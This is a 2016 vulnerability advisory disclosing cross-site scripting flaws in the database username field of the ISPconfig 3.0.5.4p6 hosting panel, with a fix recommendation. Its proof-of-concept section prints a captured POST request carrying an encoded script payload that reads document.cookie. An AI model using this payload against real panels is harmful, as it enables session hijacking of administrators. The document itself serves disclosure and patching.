Document Title:
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ISPconfig v3.0.5.4p6 - Input Validation Vulnerabilities
References (Source):
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http://www.vulnerability-lab.com/get_content.php?id=1909
Release Date:
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2016-08-15
Vulnerability Laboratory ID (VL-ID):
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1909
Common Vulnerability Scoring System:
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3.1
Product & Service Introduction:
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ISPConfig 3 is an open-source server administration software for Linux and allows the management of
one or more servers through a web-based front end. ISPConfig runs under the bsd open source license.
(Copy of the Vendor Homepage: http://www.ispconfig.de/ispconfig-3/ )
Abstract Advisory Information:
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The vulnerability laboratory core research team discovered multiple client-side input validation vulnerabilities in the ISPconfig v3.0.5.4 p6.
Vulnerability Disclosure Timeline:
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2016-08-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
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Published
Affected Product(s):
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ISPConfig UG
Product: ISPconfig - Hosting Service Panel (Web-Application) 3.0.5.4 p6
Exploitation Technique:
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Remote
Severity Level:
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Low
Technical Details & Description:
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Multiple input validation web vulnerabilities has been uncovered in the official ISPconfig v3.0.5.4 p6 hosting panel web-application.
The input validation vulnerability allows an attackers to inject own malicious script codes to the client-side of the vulnerable module.
The input validation web vulnerability is located in the `database username` input field of the database user module. The form of
the add POST method request is not secure parsed by the basic validation mechanism. Thus allows to inject script code payloads in
the the edit form of the database user. The request method to inject is POST and the attack vector of the issue remains to the
client-side of the service. The execute occurs on edit of the user profile credentials.
The second execution point is located the exception-handling of the username invalid input. The exception-handling replies with the
input of the invalid database username after an add was processed. The error exception issue is located to the client-side of the
service and does not occur permanently.
The security risk of the vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.1.
Exploitation of the client-side vulnerabilities requires a privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent
external redirect to malicious sources and non-persistent manipulation of affected or connected web module context.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./sites/
Vulnerable File(s):
[+] database_user_edit.php
Affected Module(s):
[+] Edit Formular
[+] Invalid Exception-Handling
Proof of Concept (PoC):
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The vulnerability can be exploited by remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
PoC: Exploitation via Database_User
PoC: Database_User Exploitation
PoC: (Execution) Database Users (Edit Formular)
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://ispconfig.localhost:8080/sites/database_user_edit.php
Mime Type[text/html]
Request Header:
Host[ispconfig.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Referer[http://ispconfig.localhost:8080/index.php]
Cookie[__cfduid=d94df75150c7b17ad6ba57ce9d44d51661471192388; PHPSESSID=o2e0dfu9h7h896m4sj3m4jg0j1]
Connection[keep-alive]
POST-Daten:
client_group_id[2]
database_user[%3E%22%3Cimg%3E%25%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)+%3C]
database_password[]
repeat_password[]
id[]
next_tab[]
phpsessid[o2e0dfu9h7h896m4sj3m4jg0j1]
Response Header:
Server[Apache/2.2.0 (Fedora)]
X-Powered-By[PHP/5.4.45-0+deb7u4]
X-Mod-Pagespeed[1.9.32.14-0]
Connection[Keep-Alive]
Content-Type[text/html; charset=utf-8]
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Status: 200[OK]
GET http://ispconfig.localhost:8080/evil.source[EXECUTION OF SCRIPT CODE PAYLOAD!]
Mime Type[text/html]
Request Header:
Host[ispconfig.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Referer[http://ispconfig.localhost:8080/index.php]
Cookie[__cfduid=d94df75150c7b17ad6ba57ce9d44d51661471192388; PHPSESSID=o2e0dfu9h7h896m4sj3m4jg0j1]
Connection[keep-alive]
If-None-Match["55e1898-70e-48fe6cb2fcc40"]
Response Header:
Server[Apache/2.2.0 (Fedora)]
Etag["55e1898-70e-48fe6cb2fcc40"]
Connection[Keep-Alive]
Content-Type[text/html]
PoC: (Execution) Database Users (Database Username Exception-Handling)
Database username - c1>"
%>"
Invalid database user name. The username may contain these characters:
a-z, A-Z, 0-9 and the underscore. Length: 2 - 64 characters.
--- Error Exception Logs ---
Database username - c1>"%>"[SCRIPT CODE PAYLOAD!] - Invalid database user name. The username may contain these characters:
a-z, A-Z, 0-9 and the underscore. Length: 2 - 64 characters.
Reference(s):
http://ispconfig.localhost:8080/
http://ispconfig.localhost:8080/index.php
http://ispconfig.localhost:8080/sites/
http://ispconfig.localhost:8080/sites/database_user_edit.php
Solution - Fix & Patch:
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The vulnerability can be patched by a secure parse of the database username input field. Filter the input by disallowing
the usage of special chars. Parse the exception-handlung and edit form output locations were the input executes permanently.
Security Risk:
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The security risk of the client-side input validation web vulnerabilities are estimated as medium. (CVSS 3.1)
Credits & Authors:
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
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